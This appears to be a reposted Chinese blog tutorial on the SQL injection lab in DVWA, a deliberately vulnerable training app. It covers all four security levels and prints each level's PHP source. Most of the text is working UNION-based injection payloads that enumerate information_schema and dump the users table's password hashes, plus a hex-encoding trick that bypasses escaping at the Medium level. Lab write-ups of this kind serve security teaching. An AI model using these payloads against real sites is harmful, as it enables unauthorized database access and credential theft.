DVWA--SQL Injection(非盲注)--四个级别
SQL 注入,是指攻擊者通過注入惡意的SQL 命令,破壞SQL 查詢語句的結構,從而達到執行惡意SQL 語句的目的。SQL 注入漏洞的危害是巨大的,常常會導致整個數據庫被"脫庫"。盡管如此,SQL 注入仍是現在最常見的Web 漏洞之一
這里DVWA的SQL Injection(非盲注)共有四個等級
SQL注入(盲注)傳送門:
索引目錄:
Low
Medium
High
Impossible
我們這里主要利用手注,不用sqlmap等自動化工具
手工注入(非盲注)步驟:
1. 判斷是否存在注入,注入是字符型還是數字型
2. 猜解SQL查詢語句中的字段數
3. 判斷哪些位置字段可以注入利用
4. 查詢數據庫(當前使用數據庫或所有數據庫)
5. 查詢指定數據庫中的表
6. 查詢指定表中的字段名
7. 查詢表中字段的值
8. 簡單總結
手工注入簡單參數: :
使用這些參數的前提是已經判斷出源代碼查詢語句中的字段數與位置
- 數據庫用戶:user()
- 數據庫版本:version()
- 全局函數:
當前數據庫所在位置:@@datadir
數據庫的主機名:@@hostname
當前數據庫版本:@@version
數據庫操作系統版本@@version_compile_os: - 當前數據庫:database()
- ASCII轉字符:chr()
- 連接字符串:CONCAT_WS(database(),user(),version())
- 計算哈希:md5()
- 數據庫的源數據庫:information_schema
' union select table_name,table_schema from information_schema.tables# (這里是只有兩個字段的查詢)
數字型注入還是字符型注入講解: :
首先id后面加單引號 查看是否可能存在sql注入,返回正常,不存在;返回不正常,存在
假設ip/?id=1
數字型,參數沒有被引號包圍:
id=1 and 1=1 返回頁面正常
id=1 and 1=2 返回頁面不正常
id=1' and '1'='1 返回頁面不正常
id=1' and '1'='2 返回頁面不正常
字符型,參數被引號包圍:
id=1 and 1=1 返回頁面正?;蝈e誤
id=1 and 1=2 返回頁面正?;蝈e誤
id=1' and '1'='1 返回頁面正常
id=1' and '1'='2 返回頁面不正常
總結出兩種測試方法:
and 1=1正常,1=2不正常,可能存在數字型注入and 1=1正常或錯誤,1=2正?;蝈e誤,可能存在字符型注入
' and '1'='1不正常,' and '1'='2不正常,可能存在數字行注入/' and '1'='1正常,' and '1'='2不正常,可能存在字符型注入
注:源代碼參數id沒有引號,傳入and 1=1和and 1=2,會把傳入的全部當sql語句執行,表示id=1后面的and 1=1或and 1=2也是要當作sql語句執行的
源代碼參數id有引號,傳入and 1=1和and 1=2,會把and 1=1看作一個字符串傳入sql語句中,表示id=‘1 and 1=1’,此時這個數據庫里是沒有這個id的,所以會返回錯誤,也就是id=1 and 1=1這個字符串的頁面無法找到,這里測試環境沒有報錯,是因為它并沒有找到,所以返回沒有記錄,也就是返回當前頁面,真正1 and 1=1這個id沒有這項紀錄
參考:https://blog.csdn.net/change518/article/details/8116920/
SQL語句中,and用法:如果第一個條件和第二個條件都成立,則and運算符顯示一條記錄
Low
源代碼: <?phpif( isset( $_REQUEST[ 'Submit' ] ) ) {// Get input$id = $_REQUEST[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}mysqli_close($GLOBALS["___mysqli_ston"]); }?>- 疑難點釋義:
$row在前面并沒有任何定義,這里等于一個mysqli_fetch_assoc( $result ),為什么返回的是true呢
所以,我們看看下面的測試代碼,原來一個新定義的變量被賦值一個數組或不為0或不為null的數值bool類型都為true
Low級別的代碼對來自客戶端的參數id 沒有進行任何的檢查與過濾,存在明顯的SQL 注入
因為顯示情況中我們是看不到后端源代碼的,所以我們假設我們這里也無法看到后端源代碼,根據上面的手工注入思路進行滲透
1. 判斷是否存在注入,注入是字符型還是數字型
-
輸入1,查詢成功:
-
輸入1' and '1'='1,查詢成功:
-
輸入1' and '1'='2,查詢失敗,返回空:
-
因為源代碼中的變量被單引號引起了,假設我們不知道變量有沒有被引號包圍,我們這樣測試后,說明變量是被引號包圍的,所以這里是字符型注入
2. 猜解SQL查詢語句中的字段數
方法一:通過order by判斷字段數量
- order by用來檢測sql查詢語句被查詢表中的被查詢字段的數量
舉例:
-
輸入1' order by 1 #,查詢成功,猜測至少有一個字段:(#表示注釋掉后面的代碼或者用–空格)
-
也可以輸入' order by 1 --空格,同樣也會查詢成功,這是沒有返回值,因為它查詢的id為空,僅僅只執行了order by:
-
輸入1' order by 2 #,查詢成功,猜測至少有兩個字段:
-
輸入1' order by 3#,查詢失敗,說明sql語句中只查詢了表中的兩個字段:
方法二:通過union select判斷字段數量:
- 輸入1' union select 1 #,查詢失敗,sql查詢語句中不止一個字段:
- 輸入1' union select 1,2 #,查詢成功,sql查詢語句中有兩個字段:
- 輸入1' union select 1,2,3 #,查詢失敗,由此可以判斷源代碼中的sql查詢語句只查詢了表中的兩個字段:
總的來說用order by 判斷字段數比較好,union select主要用來判斷哪些位置的的字段可以進行注入利用
3. 判斷哪些位置字段可以注入利用
- 使用union select語句
輸入1' union select 1,2 #,查詢成功:
接下來,我們將上面的語句改為1' and 1=2 union select 1,2 #或者' union select 1,2 #,使得非union select前面的查詢語句返回錯誤,只顯示union select后面語句的執行結果,從而達到判斷哪些位置的字段可以注入,對應的位置顯示對應的數字,說明該字段位置可以利用,如下圖,1,2都顯示了出來,說明這兩個位置的兩個字段都可以利用
注:不顯示id=1的數據,是防止注入時頁面只顯示一行查詢數據,導致只能看到id=1的而看不到id=1下一行數據,這里的dvwa是可以顯示兩行以上的,所以前面可以有1,但真實網站可能不這樣,因此,第一行最好不要顯示其正確數據,直接進行判斷哪些字段可以進行注入利用
4. 查詢數據庫(當前使用數據庫或所有數據庫)
-
輸入1' union select database(),user() #,查詢成功,查詢到當前字段數據庫為dvwa:
-
sql語句中的CONCAT_WS函數是聯合多個語句,一起查詢(了解)
concat_ws語法: concat_ws(分隔符,sql命令1,sql命令2,sql命令3,sql命令4后面省略無數個sql命令)
釋義:concat_ws雖然是聯合多個語句一起查詢,但他括號里的的第一個參數就是分隔符,在每兩個參數之間添加一個分隔符
舉例:輸入1' union select CONCAT_WS(database(),user(),version()),2 #查詢成功:
上面語句中的database()就是分隔符,也就是在user()和version()兩個參數之間添加一個database(),也就是user()結果database()結果version結果
注:CONCAT_WS(database(),user(),version())是個整體,代替1的位置,如果2的位置沒有語句會報錯
-
CHAR表示使用ASCII來查詢(了解)
舉例:
輸入' union select CONCAT_WS(CHAR(32),user(),version()),2# 查詢成功:
這里CHAR(32)在ASCII中表示的空格,就是user()結果和version()結果之間加一個空格
5. 查詢指定數據庫中的表
table_schema:數據庫
table_name:表名
column_name:字段名
information_schema:元數據庫
information_schema.tables:元數據庫中所有表
information_schema.columns:元數據字段
- 輸入' union select 1,group_concat(table_name)from information_schema.tables where table_schema=database()#
獲取當前數據庫(database())中所有表的名稱
- 輸入' union select table_name,table_schema from information_schema.tables#
查詢information_schema.tables(數據庫中所有的數據庫)中的所有庫(table_schema)與它的表(table_name)
6. 查詢指定表中的字段名
- 輸入1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
查詢表名為users里的字段名
注:測試時注意單引號與#是否為英文的,中文格式會報錯
7. 查詢表中字段的值
group_concat(參數1,參數2,參數3等等無數個參數)語法: group_concat函數返回一個字符串結果(就是返回一行),該結果由括號中的各個參數值執行然后連接組合而成
- 輸入1' union select group_concat(user_id,CHAR(32),user),group_concat(password) from users#
查詢users表中的user_id,user,password中的字段值,并用CHAR(32)也就是空格做分隔,但是,這里的分隔符并不是強制要求,在哪里都可以。沒有的話,group_concat函數也可照常使用
注:CHAR(32)只是表示空格,輸出的值比較容易觀察
- ' union select user,password from dvwa.users#
查詢users表中user與password字段的值(上) - ' union select user,password from users#
查詢users表中user與password字段的值(下)
(上)(下)兩種等價
8. 簡單總結:
1.判斷注入類型 1 and 1=1 顯示成功 1 and 1=2 顯示成功 1' and '1'='1 顯示成功 1' and '1'='2 顯示錯誤 因此為字符型注入2.判斷字段數量,結果字段數量為2 1' order by 2#3.判斷哪些字段可利用,結果發現,1,2位置的字段都可以利用 1' and 1=2 union select 1,2#2.判斷當前數據庫,該數據庫:dvwa 1' and 1=2 union select 1,database()#3.判斷該元數據庫中所有數據庫 1' and 1=2 union select 1,table_schema from information_schema.tables# 所有數據庫為: dvwa information_schema mysql performance_schema phpmyadmin3.綜合上面的庫名,這里我們就只選擇dvwa數據庫進行查詢。判斷dvwa數據庫下所有的表名,表名為:guestbook,users 1' and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761# #注:group_concat函數返回一個字符串結果(就是返回一行),可以不使用,視情況而定,主要看它能否一次性返回多行數據,不能就需要使用group_concat #注:這里把dvwa轉為16進制,并且不需要加'',如果不轉,需要加''4.根據上面的判斷,我們接下來只選擇users表進行注入,判斷users表中的字段 1' and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273# 結果字段為:user_id,first_name,last_name,user,password,avatar,last_login,failed_login,USER,CURRENT_CONNECTIONS,TOTAL_CONNECTIONS5.判斷字段的值,判斷user、password字段的值 1' and 1=2 union select 1,group_concat(user,char(32),password) from users# 結果為: admin 5f4dcc3b5aa765d61d8327deb882cf99,gordonb e99a18c428cb38d5f260853678922e03,1337 8d3533d75ae2c3966d7e0d4fcc69216b,pablo 0d107d09f5bbe40cade3de5c71e9e9b7,smithy 5f4dcc3b5aa765d61d8327deb882cf99 注:最后查詢字段值時,最后被查詢的表只能字符顯示,不能用Hex(16進制)補充(了解):
SQL之concat()函數
concat()函數和group_concat()函數差不多,只不過concat將多個字符串連接成一個字符串,但返回時不返回一行數據,而是多行!!!
' union select null,concat(user,0x3a,password) from users#
查詢users表中user與password字段的值,加了一個冒號分隔符,更加直觀,好看一點
注:0x3a是16進制,轉換為字符為冒號
也可以用CHAR(58)替換,他們是等價的
輸入' union select table_name,table_schema from information_schema.tables where table_schema='dvwa'#
查詢dvwa庫中所有的表與dvwa庫中所有的庫,因為這里where只查了dvwa庫,所以只有dvwa的所有表和一個庫dvwa(就是它本身),因為dvwa中沒有數據庫了,只有它自己是庫
輸入' union select table_name,column_name from information_schema.columns where table_schema='dvwa'#
在dvwa庫中查找其中所有表名和字段名
Medium
源代碼: <?phpif( isset( $_POST[ 'Submit' ] ) ) {// Get input$id = $_POST[ 'id' ];$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Display values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}}// This is used later on in the index.php page // Setting it here so we can close the database connection in here like in the rest of the source scripts $query = "SELECT COUNT(*) FROM users;"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' ); $number_of_rows = mysqli_fetch_row( $result )[0];mysqli_close($GLOBALS["___mysqli_ston"]); ?>SELECT COUNT(*) FROM users; :計算出這個表中有多少字段
Medium級別的代碼增加了mysqli_real_escape_string函數,使得我們的’和"被轉義,進而不能利用’和"進行sql注入(但是我們可以用其他的語句呀),并且submit提交時,url看不見變量的值,我們猜想是不是進行了POST提交,所以我們打開burpsuit抓包軟件進行測試(由源代碼看出這是數字行注入,所以注入時不需要閉合單引號)
這里是數字型注入,我就不具體判斷了接下來
1.測試sql語句中有幾個字段被查詢 :
- 3 order by 1
- 3 order by 2
- 3 order by 3
2.判斷這些字段哪些可以進行注入利用 :
3 and 1=2 union select 1,2
下圖說明這兩個字段都可以進行注入利用
3.我們再來看看當前數據庫是什么 :
null union select 1,database()
我們再來從元數據庫中查詢它的所有的數據庫
null union select 1,table_schema from information_schema.tables
3.我們再來看看指定數據庫(dvwa)中的所有表 :
3 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=0x64767761
4.我們再來看看指定表(users)中的所有字段名 :
3 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273
5.我們再來看看指定字段(user、password)中的值 :
3 and 1=2 union select 1,group_concat(user,char(32),password) from users
注:這里面所有查詢語句中,最后需要加單引號的數據庫名或表名我都用Hex(十六進制)轉換了,因為Medium級別的代碼利用mysql_real_escape_string函數對特殊符號\x00,\n,\r,,’,”,\x1a進行轉義,因此,這里的’會被轉義,所以無法進行注入,但我們嘗試刪除一部分,刪除后為:3 union select 1,group_concat(column_name) from information_schema.columns#,這是將元數據庫中所有的字段全部顯示出來,也不行啊,但是可以使用十六進制進行繞過,注意,16進制的dvwa=‘dvwa’,16進制不需要加單引號,表名同理。
注:在此我也進行了單引號用ASCII碼0x27或char(39)替代,但是沒有成功,這是因為0x27雖然代表’,但是它被使用時當作自身也被加了’’,可以理解為16進制的’=’’’,char(39)同理。僅為個人理解。
3 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x27users0x27 3 union select 1,group_concat(column_name) from information_schema.columns where table_name=char(39)userschar(39)High
源代碼: <?phpif( isset( $_SESSION [ 'id' ] ) ) {// Get input$id = $_SESSION[ 'id' ];// Check database$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );// Get resultswhile( $row = mysqli_fetch_assoc( $result ) ) {// Get values$first = $row["first_name"];$last = $row["last_name"];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); }?> $query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";High級別的代碼在sql查詢語句中添加了LIMT 1,限制檢索數據的行數,只能檢索一行數據,其它和Low級別的源代碼沒什么兩樣,這里是字符型注入,利用方法參考Low級別滲透測試步驟
Impossible
源代碼: <?phpif( isset( $_GET[ 'Submit' ] ) ) {// Check Anti-CSRF tokencheckToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );// Get input$id = $_GET[ 'id' ];// Was a number entered?if(is_numeric( $id )) {// Check the database$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );$data->bindParam( ':id', $id, PDO::PARAM_INT );$data->execute();$row = $data->fetch();// Make sure only 1 result is returnedif( $data->rowCount() == 1 ) {// Get values$first = $row[ 'first_name' ];$last = $row[ 'last_name' ];// Feedback for end userecho "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";}} }// Generate Anti-CSRF token generateSessionToken();?>Impossible 級別的代碼采用了PDO 技術,有效防御SQL 注入,同時只有返回的查詢結果數量為1時,才會成功輸出,Anti-CSRF token的加入了進一步提高了安全性
由于PDO技術我還沒有學,因此Impossible級別的代碼無法為大家講解,等我以后學習后,會補了這個坑
注:大家復制sql命令時有可能復制到的單引號,括號不是英文的,會發生報錯,還需要大家重新修改一下,再提交進行sql注入
參考文章:
https://www.freebuf.com/articles/web/120747.html
https://blog.csdn.net/qq_36706878/article/details/79677078
總結
以上是生活随笔為你收集整理的DVWA--SQL Injection(非盲注)--四个级别的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 目前活期存款利率是多少,各银行活期利率一
- 下一篇: 福建各市gdp排名,2021年福建各市G